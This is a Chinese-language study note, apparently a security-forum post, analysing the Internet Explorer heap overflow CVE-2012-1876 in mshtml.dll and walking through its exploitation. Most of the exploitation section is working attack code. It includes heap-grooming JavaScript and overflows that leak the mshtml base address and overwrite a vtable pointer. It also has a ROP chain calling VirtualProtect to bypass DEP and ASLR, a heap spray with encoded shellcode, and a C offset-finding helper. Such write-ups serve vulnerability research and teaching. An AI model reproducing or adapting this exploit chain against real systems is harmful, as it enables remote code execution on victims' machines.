-
-
[原创]学习笔记_CVE-2012-1876漏洞分析与利用
-
2021-12-30 18:42 21164
-
漏洞信息
CVE-2012-1876
mshtml.dll中函数CTableLayout::CalculateMinMax,通过span属性值作为循环次数向堆内存中写入数据时,未对span进行有效的校验而导致堆溢出,可实现RCE.
漏洞分析
调试ie,开启子进程调试,开启页堆,定位堆溢出位置
1 2 | gflags.exe - i iexplore.exe + hpa .childdbg 1 |
溢出点,edi的值导致了crash,edi=[esi+18],向上追踪esi何处被赋值
查看堆栈,CalCulateMinMax存在大量对esi的操作,对CalCulateMinMax函数下断,进行分析
首次加载页面,会获取一些属性,第一个参数为Table标签的类对象
ebx=CTableLayout
ebx+0x54== 所有col标签span属性值的和,标记为spannum
如果通过判断:(this+0x94>>2) < spannum,则通过函数EnsureSizeWorker申请空间
函数EnsureSizeWorker内部会进行判断,确保最小申请空间为0x1C*4=0x70字节空间,并将地址存储入this+0x9C处
执行完之后会对this+0x94进行更新
通过调用函数over_trigger修改标签属性,第二次运行CalculateMinMax
此时this+0x94更新后==4,(4>>2)==spannum,所以不会再进行申请内存的操作
此时GetAAspan返回值为0x3e8,说明span属性值已经成功被修改,但是CTableLayout成员变量并没有发生改变
spannum仍然为1
通过函数GetFancyFormat对修改后的width进行了一次运算(42765*100)<<4+9=0x4141149
然后将参数传入,通过函数GetPixelWidth进行第二次运算,最终通过width得到的结果为0x519159
当运行到此处时,已经可以很明显的看出漏洞成因了,压入参数[ebp-0xc]也就是前面通过width计算出的值,通过函数AjdustForCol,循环1000次写入堆中,每次写入数据大小为0xC,而堆大小只有0x70,因为修改span后,没有重新分配相应大小的堆空间,最终会产生堆溢出.
利用思路
构造堆的布局,进行占位.让内存申请到释放的位置.
第一次溢出覆盖字符串长度,暴露mshtml基址.
第二次溢出覆盖虚表指针,构造rop,通过heapspray将shellcode喷射到覆盖的虚表指针地址,绕过DEP和ASLR保护,执行shellcode.
漏洞利用
第一步申请内存空间,写入大量BSTR字符串,构造堆布局,释放存储字符"E"的堆空间,让EnsureSizeWorker申请内存时,可以占用释放的位置.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <div id = "test" >< / div> <script language = 'javascript' > d = document.getElementById( 'test' ); var dap = "EEEE" ; while (dap.length < 0x200 ) dap + = dap; var padding = "AAAA" ; while (padding.length < 0x200 ) padding + = padding; var filler = "BBBB" ; while (filler.length < 0x200 ) filler + = filler; var arr = new Array(); var rra = new Array(); / / EEEE AAAA BBBB OOOO for (var i = 0 ; i < 1000 ; i + = 2 ) { rra[i] = dap.substring( 0 , ( 0x100 - 6 ) / 2 ); arr[i] = padding.substring( 0 , ( 0x100 - 6 ) / 2 ); arr[i + 1 ] = filler.substring( 0 , ( 0x100 - 6 ) / 2 ); var obj = document.createElement( "button" ); d.appendChild(obj); } / / theap A B button for (var i = 200 ; i < 1000 ; i + = 2 ) { rra[i] = null; CollectGarbage(); } < / script> |
构造col标签,进行占位
1 2 3 4 5 6 7 8 9 10 | <table style = "table-layout:fixed" > <col id = "0" width = "41" span = "9" >  < / col> < / table> <table style = "table-layout:fixed" > <col id = "1" width = "41" span = "9" >  < / col> < / table> ... <table style = "table-layout:fixed" > <col id = "132" width = "41" span = "9" >  < / col> < / table> |
通过windbg调试,输出日志,判断是否成功占位
1 2 3 4 | sxe ld:jscript bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g" bu mshtml!CTableLayout::CalculateMinMax + 0x18C ".echo vulheap;dd poi(ebx+9c) l4;g" .logopen c:\log.txt |
程序成功申请到前面释放的内存,这里要去除页堆,不然成功率很低.
当前内存布局,可以找到CButton虚表指针,需要通过它计算出mshtml基址,因为CButtonLayout虚表指针和mshtml基址的偏移是固定的,为了能够读取到这个值,需要通过溢出改变字符串B的长度,读取CButtonLayout虚表指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | function one_overflow() { / / 首次溢出,通过CButtonLayout暴露mshtml基址 var col = document.getElementById( 2 ); col.span = 19 ; } function get_mshtml_base() { var leak_addr = - 1 ; for (var i = 0 ; i < 10000 ; i + + ) { if (arr[i].length > ( 0x100 - 6 ) / 2 ) { leak_index = i; var leak = arr[i].substring(( 0x100 - 6 ) / 2 + ( 2 + 8 ) / 2 , ( 0x100 - 6 ) / 2 + ( 2 + 8 ) + 4 / 2 ); leak_addr = parseInt(leak.charCodeAt( 1 ).toString( 16 ) + leak.charCodeAt( 0 ).toString( 16 ), 16 ); / / alert( "CButtonLayout VirtualTable Point:0x" + leak_addr.toString( 16 )); mshtml_base = leak_addr - Number( 0x001584f8 ); / / alert( "mshtml base:0x" + mshtml_base.toString( 16 )); heapspray(mshtml_base); break ; } } } |
第一次溢出,长度成功被覆盖
通过暴露的虚表指针信息,可以找到mshtml.dll基址,偏移为:0x1584F8
获取偏移后,再使用windbg调试,验证基址是否正确.
第二次溢出覆盖CButtonLayout对象的虚表指针进行覆盖,控制程序执行流程
这里进行覆盖的值=width*125,后面调用的虚函数地址为[eax+dc],与漏洞战争书上略有不同.
1 2 3 4 5 6 | function second_overflow() { / / 二次溢出,覆盖CBttonLayout虚表指针 var col = document.getElementById( 2 ); col.width = "1003572" ; col.span = "29" ; } |
成功控制执行流程.
下面进行heapspray,构造shellcode喷射到这个地址中.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | function heapspray(base) { / / ret var rop = (base + 0x3142 ).toString( 16 ); var rop_ret1 = rop.substring( 4 , 8 ); var rop_ret2 = rop.substring( 0 , 4 ); / / pop ebp;ret var rop = (base + 0x4b015a ).toString( 16 ); var rop_popebp_ret1 = rop.substring( 4 , 8 ); var rop_popebp_ret2 = rop.substring( 0 , 4 ); / / xchg eax,esp;ret var rop = (base + 0x701be ).toString( 16 ); var rop_xchg1 = rop.substring( 4 , 8 ); var rop_xchg2 = rop.substring( 0 , 4 ); / / pop ebx;ret var rop = (base + 0x3d0537 ).toString( 16 ); var rop_popebx_ret1 = rop.substring( 4 , 8 ); var rop_popebx_ret2 = rop.substring( 0 , 4 ); / / pop edx;ret var rop = (base + 0x2fb796 ).toString( 16 ); var rop_popedx_ret1 = rop.substring( 4 , 8 ); var rop_popedx_ret2 = rop.substring( 0 , 4 ); / / pop ecx;ret var rop = (base + 0x17011a ).toString( 16 ); var rop_popecx_ret1 = rop.substring( 4 , 8 ); var rop_popecx_ret2 = rop.substring( 0 , 4 ); / / writable var rop = (base + 0x100 ).toString( 16 ); var writable1 = rop.substring( 4 , 8 ); var writable2 = rop.substring( 0 , 4 ); / / pop edi;ret var rop = (base + 0x390a67 ).toString( 16 ); var rop_popedi_ret1 = rop.substring( 4 , 8 ); var rop_popedi_ret2 = rop.substring( 0 , 4 ); / / pop esi;ret var rop = (base + 0xf01bd ).toString( 16 ); var rop_popesi_ret1 = rop.substring( 4 , 8 ); var rop_popesi_ret2 = rop.substring( 0 , 4 ); / / jmp eax var rop = (base + 0x1f2bd9 ).toString( 16 ); var rop_jmpeax1 = rop.substring( 4 , 8 ); var rop_jmpeax2 = rop.substring( 0 , 4 ); / / pop eax;ret var rop = (base + 0x351263 ).toString( 16 ); var rop_popeax_ret1 = rop.substring( 4 , 8 ); var rop_popeax_ret2 = rop.substring( 0 , 4 ); / / VirtualProtect var rop = (base + 0x1348 ).toString( 16 ); var rop_vp1 = rop.substring( 4 , 8 ); var rop_vp2 = rop.substring( 0 , 4 ); / / mov eax;dword ptr ds:[eax];ret var rop = (base + 0x214bbd ).toString( 16 ); var rop_moveax_ret1 = rop.substring( 4 , 8 ); var rop_moveax_ret2 = rop.substring( 0 , 4 ); / / pushad;ret var rop = (base + 0x51a2c8 ).toString( 16 ); var rop_pushad_ret1 = rop.substring( 4 , 8 ); var rop_pushad_ret2 = rop.substring( 0 , 4 ); / / push esp;ret var rop = (base + 0x49cb1d ).toString( 16 ); var rop_pushesp_ret1 = rop.substring( 4 , 8 ); var rop_pushesp_ret2 = rop.substring( 0 , 4 ); var shellcode = unescape( "%u" + rop_ret1 + "%u" + rop_ret2); / / ret shellcode + = unescape( "%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2); / / pop ebp;ret for (var i = 0 ; i < 0x32 ; i + + ) { shellcode + = unescape( "%u" + rop_ret1 + "%u" + rop_ret2); / / ret } shellcode + = unescape( "%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2); / / pop ebp;ret ebp = shellcode_addr shellcode + = unescape( "%u2a80%u077a" ); shellcode + = unescape( "%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2); shellcode + = unescape( "%u" + rop_xchg1 + "%u" + rop_xchg2); / / xchg eax,esp;ret; start change stack shellcode + = unescape( "%u" + rop_popebx_ret1 + "%u" + rop_popebx_ret2); / / pop ebx;ret ebx = 1024 shellcode + = unescape( "%u1024%u0000" ); / / 1024 shellcode + = unescape( "%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2); / / pop edx;ret edx = 40 shellcode + = unescape( "%u0040%u0000" ); / / 40 shellcode + = unescape( "%u" + rop_popecx_ret1 + "%u" + rop_popecx_ret2); / / pop ecx;ret shellcode + = unescape( "%u2a70%u077a" ); shellcode + = unescape( "%u" + rop_popedi_ret1 + "%u" + rop_popedi_ret2); / / pop edi;ret shellcode + = unescape( "%u" + rop_ret1 + "%u" + rop_ret2); / / ret shellcode + = unescape( "%u" + rop_popesi_ret1 + "%u" + rop_popesi_ret2); / / pop esi;ret shellcode + = unescape( "%u" + rop_jmpeax1 + "%u" + rop_jmpeax2); / / jmp eax shellcode + = unescape( "%u" + rop_popeax_ret1 + "%u" + rop_popeax_ret2); / / pop eax;ret shellcode + = unescape( "%u" + rop_vp1 + "%u" + rop_vp2); / / VirtualProtect_addr eax = VirtualProtect shellcode + = unescape( "%u" + rop_moveax_ret1 + "%u" + rop_moveax_ret2); / / mov eax;[eax];ret shellcode + = unescape( "%u" + rop_pushad_ret1 + "%u" + rop_pushad_ret2); / / pushad;ret shellcode + = unescape( "%u" + rop_pushesp_ret1 + "%u" + rop_pushesp_ret2); / / push esp;ret; shellcode + = unescape( "%u9090%u9090" ); shellcode + = unescape( "%u9090%u9090" ); shellcode + = unescape( "%u68FC%u0A6A%u1E38%u6368%uD189%u684F%u7432%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3%u33BB" + "%u5332%u7568%u6573%u5472%uD233%u8B64%u305A%u4B8B%u8B0C%u1C49%u098B%u098B%u698B%uAD08%u6A3D" + "%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B" + "%u03BB%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46%u3BF1%u2454%u751C%u8BE4%u2459%uDD03" + "%u8B66%u7B3C%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0A6A%u1E38%uA975%uDB33%u6853%u6465" + "%u0000%u6868%u6361%u8B6B%u53C4%u5050%uFF53%uFC57%uFF53%uF857%9090%9090%9090" ); while (shellcode.length < 100000 ) { shellcode + = shellcode; } / / 64k var onemeg = shellcode.substr( 0 , 64 * 1024 / 2 ); for (i = 0 ; i < 14 ; i + + ) { onemeg + = shellcode.substr( 0 , 64 * 1024 / 2 ); } var spray = new Array(); for (i = 0 ; i < 1000 ; i + + ) { spray[i] = onemeg.substr( 0 , onemeg.length); } } |
为了使覆盖的虚表指针的值刚好是shellcode起始位置,并且eax+dc位置是xchg eax,esp ret指令地址,可以通过读取内存快速查找对应地址,写入第二次溢出的width中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #include <iostream> #include <windows.h> int main() { HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, 0 , 3920 ); int addr = 1000000 ; DWORD temp = 0 ; while ( 1 ) { DWORD val = 0 ; int ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125 ), &val, 4 , &temp); if (ret) { printf( "addr:%08x:%08x\n" , addr * 125 ); } if (ret && val = = 0x6ABD3142 ) { ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125 + 0xdc ), &val, 4 , &temp); if (val = = 0x6AC401BE ) { printf( "result=%d\n" , addr); break ; } } printf( "%x\n" , addr); addr + + ; } system( "pause" ); } |
结果
参考资料
漏洞战争:软件漏洞分析精要
【公告】 [2022大礼包]《看雪论坛精华22期》发布!收录近1000余篇精华优秀文章!